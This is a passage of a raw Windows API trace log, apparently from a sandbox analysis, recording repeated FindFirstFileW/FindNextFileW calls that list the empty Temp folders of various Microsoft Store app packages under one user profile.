lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8a14cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.861] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94bb4bf1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1ef0 [0200.861] FindNextFileW (in: hFindFile=0x30d1ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94bb4bf1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.861] FindNextFileW (in: hFindFile=0x30d1ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94bb4bf1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.861] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28df8e9e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce397cf1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28df8e9e, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1a30 [0200.862] FindNextFileW (in: hFindFile=0x30d1a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28df8e9e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce397cf1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28df8e9e, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.862] FindNextFileW (in: hFindFile=0x30d1a30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28df8e9e, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce397cf1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28df8e9e, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.862] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28f343d5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce453822, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28f343d5, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1df0 [0200.862] FindNextFileW (in: hFindFile=0x30d1df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28f343d5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce453822, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28f343d5, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.862] FindNextFileW (in: hFindFile=0x30d1df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28f343d5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce453822, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28f343d5, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.862] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2711a822, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce52108f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2711a822, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1e30 [0200.862] FindNextFileW (in: hFindFile=0x30d1e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2711a822, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce52108f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2711a822, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.862] FindNextFileW (in: hFindFile=0x30d1e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2711a822, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce52108f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2711a822, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.863] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5dc228d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1f70 [0200.863] FindNextFileW (in: hFindFile=0x30d1f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5dc228d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.863] FindNextFileW (in: hFindFile=0x30d1f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5dc228d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.863] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2385473f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70e6f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2385473f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1fb0 [0200.863] FindNextFileW (in: hFindFile=0x30d1fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2385473f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70e6f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2385473f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.863] FindNextFileW (in: hFindFile=0x30d1fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2385473f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70e6f4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2385473f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.863] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f72e917, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f72e917, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f72e917, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2030 [0200.863] FindNextFileW (in: hFindFile=0x30d2030, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f72e917, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f72e917, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f72e917, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.863] FindNextFileW (in: hFindFile=0x30d2030, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f72e917, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f72e917, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f72e917, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.864] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b738935, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f1021, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b738935, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1e70 [0200.864] FindNextFileW (in: hFindFile=0x30d1e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b738935, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f1021, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b738935, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.864] FindNextFileW (in: hFindFile=0x30d1e70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b738935, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce8f1021, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b738935, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.864] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf329109f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea87527, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf329109f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1c30 [0200.864] FindNextFileW (in: hFindFile=0x30d1c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf329109f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea87527, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf329109f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.864] FindNextFileW (in: hFindFile=0x30d1c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf329109f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcea87527, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf329109f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.864] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3166c27, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1ab0 [0200.865] FindNextFileW (in: hFindFile=0x30d1ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3166c27, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.865] FindNextFileW (in: hFindFile=0x30d1ab0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3166c27, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.865] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe353eed8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7a289, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe353eed8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1f30 [0200.865] FindNextFileW (in: hFindFile=0x30d1f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe353eed8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7a289, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe353eed8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.865] FindNextFileW (in: hFindFile=0x30d1f30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe353eed8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7a289, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe353eed8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.865] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc66f4772, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1870 [0200.866] FindNextFileW (in: hFindFile=0x30d1870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc66f4772, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.866] FindNextFileW (in: hFindFile=0x30d1870, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc66f4772, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.866] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77243451, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1af0 [0200.866] FindNextFileW (in: hFindFile=0x30d1af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77243451, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.866] FindNextFileW (in: hFindFile=0x30d1af0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77243451, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.866] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c051d3e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13ca54, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c051d3e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1b30 [0200.866] FindNextFileW (in: hFindFile=0x30d1b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c051d3e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13ca54, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c051d3e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.866] FindNextFileW (in: hFindFile=0x30d1b30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c051d3e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13ca54, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c051d3e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.867] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c17df3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf230fa0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74c17df3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d18b0 [0200.867] FindNextFileW (in: hFindFile=0x30d18b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c17df3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf230fa0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74c17df3, 